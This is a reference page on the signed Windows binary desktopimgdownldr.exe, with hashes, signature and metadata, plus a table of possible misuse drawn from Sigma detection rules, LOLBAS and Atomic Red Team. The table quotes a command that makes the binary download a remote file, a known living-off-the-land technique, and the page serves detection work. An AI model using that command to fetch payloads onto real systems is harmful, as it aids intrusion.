desktopimgdownldr.exe

  • File Path: C:\Windows\system32\desktopimgdownldr.exe
  • Description: desktopimgdownldr.exe

Hashes

Type Hash
MD5 CB101C0F6228B7679BE6EDC2DBA3D62A
SHA1 7245C7D2BA519B8CACA25A6FFC76945D182BC23E
SHA256 68EC8D58AA6C6C5B93768E9B95318C97A04403A05775EB0870A7E94E1C8AF8E2
SHA384 03C3A9208190F8A10CAABE5611C6FA1E386A2C10EC0B48BCA5F3CE02A87AD3641B4D5064EB935E0B29D9578D62DA4FE7
SHA512 2FA84638081CD89649D326CB873EB3029544FD0809BD6E38F0EC07638373AD860800417CF84715A95F620E1D4E34FF4E830173F50AFAC2339FDB93A465E70B1C
SSDEEP 1536:vqJSn84Flmp63POHFehDkEni/P9nk4VQKZpzvmNq4GL/ZiJsvoFKXQ6d:j9c7EnE1kDKZVKGLBiJ6SKA6d
IMP 4497ED51F6847EDEE6F31E6DE69B6378
PESHA1 50281899FA888F9473B8F086776CDCE9DF43DCDF
PE256 C6C9114F9D0931D6EA81921236864320BB0EBE6AE1E7A3A7AF4A41CD72D62669

Runtime Data

Loaded Modules:

Path
C:\Windows\system32\desktopimgdownldr.exe
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\SYSTEM32\ntdll.dll

Signature

  • Status: Signature verified.
  • Serial: 33000002EC6579AD1E670890130000000002EC
  • Thumbprint: F7C2F2C96A328C13CDA8CDB57B715BDEA2CBD1D9
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: desktopimgdownldr.exe
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.19041.746 (WinBuild.160101.0800)
  • Product Version: 10.0.19041.746
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/74
  • VirusTotal Link: https://www.virustotal.com/gui/file/68ec8d58aa6c6c5b93768e9b95318c97a04403a05775eb0870a7e94e1c8af8e2/detection

Possible Misuse

The following table contains possible examples of desktopimgdownldr.exe being misused. While desktopimgdownldr.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma file_event_win_susp_desktopimgdownldr_file.yml title: Suspicious Desktopimgdownldr Target File DRL 1.0
sigma file_event_win_susp_desktopimgdownldr_file.yml description: Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension DRL 1.0
sigma proc_creation_win_susp_copy_system32.yml description: Detects a suspicious copy command that copies a system program from System32 to another directory on disk - sometimes used to use LOLBINs like certutil or desktopimgdownldr to a different location with a different name DRL 1.0
sigma proc_creation_win_susp_desktopimgdownldr.yml title: Suspicious Desktopimgdownldr Command DRL 1.0
sigma proc_creation_win_susp_desktopimgdownldr.yml description: Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet DRL 1.0
LOLBAS Desktopimgdownldr.yml Name: Desktopimgdownldr.exe  
LOLBAS Desktopimgdownldr.yml - Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr  
LOLBAS Desktopimgdownldr.yml - Path: c:\windows\system32\desktopimgdownldr.exe  
LOLBAS Desktopimgdownldr.yml - IOC: desktopimgdownldr.exe that creates non-image file  
atomic-red-team index.md - Atomic Test #4: Bits download using desktopimgdownldr.exe (cmd) [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #4: Bits download using desktopimgdownldr.exe (cmd) [windows] MIT License. © 2018 Red Canary
atomic-red-team T1197.md - Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd) MIT License. © 2018 Red Canary
atomic-red-team T1197.md ## Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd) MIT License. © 2018 Red Canary
atomic-red-team T1197.md This test simulates using desktopimgdownldr.exe to download a malicious file MIT License. © 2018 Red Canary
atomic-red-team T1197.md and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/ MIT License. © 2018 Red Canary
atomic-red-team T1197.md set “#{download_path}” && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr MIT License. © 2018 Red Canary

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